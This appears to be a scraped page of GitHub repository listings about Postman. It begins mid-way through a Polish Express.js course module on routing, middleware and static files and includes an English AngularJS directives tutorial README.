instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks

driven (11 listings) (Back to Top)

neshoj/tcp-postman
back end, drive, driven, implementation, initiate, send, sends, server, server., solution, solutions 		Angular4 implementation of an app that sends JSON request to a back end server that initiates tcp requests to a target server. Best for POS driven solutions. 1 stars 1 watchers 0 forks
avinashb98/litmus
drive, driven, framework, test, testing 		Behaviour driven API testing framework for Postman 0 stars 0 watchers 0 forks
qdriven/pm-converter
convert, converte, converter, drive, driven, form, format, test, testing 		pm-converter convert postman to different api testing format 0 stars 0 watchers 0 forks
SassyData/modularPricing
drive, driven, engine, micro services, service, services, test, testing 		Pricing engines created with API driven micro services in R or Python. Supported by Docker & Postman / Newman testing. 0 stars 0 watchers 0 forks
shasha131/Postman-Newman-API-Testing-FCOM-Test-Phrase-
data, drive, driven, file, sha1, test, testing, to do 		How to use postman/Newman to do data driven(large data file) API request and testing 0 stars 0 watchers 0 forks
jainvarz/postman_data_driven_sample
data, description, drive, driven, sample, script 		No description available. 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
multimac/data-driven-postman
data, drive, driven, running, script, scripts, series, test, tests 		A series of scripts for running data-driven tests using Postman 0 stars 0 watchers 0 forks
oconnelljd1/postmanNinja
drive, driven, game, mail 		Deliver mail in this not so rythm driven game 0 stars 0 watchers 0 forks
testProjekten/medium-Tdd-Js-Swggr-Dckr
agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test 		Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 0 stars 0 watchers 0 forks
VarshaKulkarni83/ecomm-apitest-postman
apitest, collection, drive, driven, newman, postman collection, runner, test 		Data driven postman collection runner using newman 0 stars 0 watchers 0 forks

select (11 listings) (Back to Top)

DannyDainton/All-Things-Postman
example, examples, select, selection 		A selection of examples using Postman REST Client 285 stars 285 watchers 84 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. 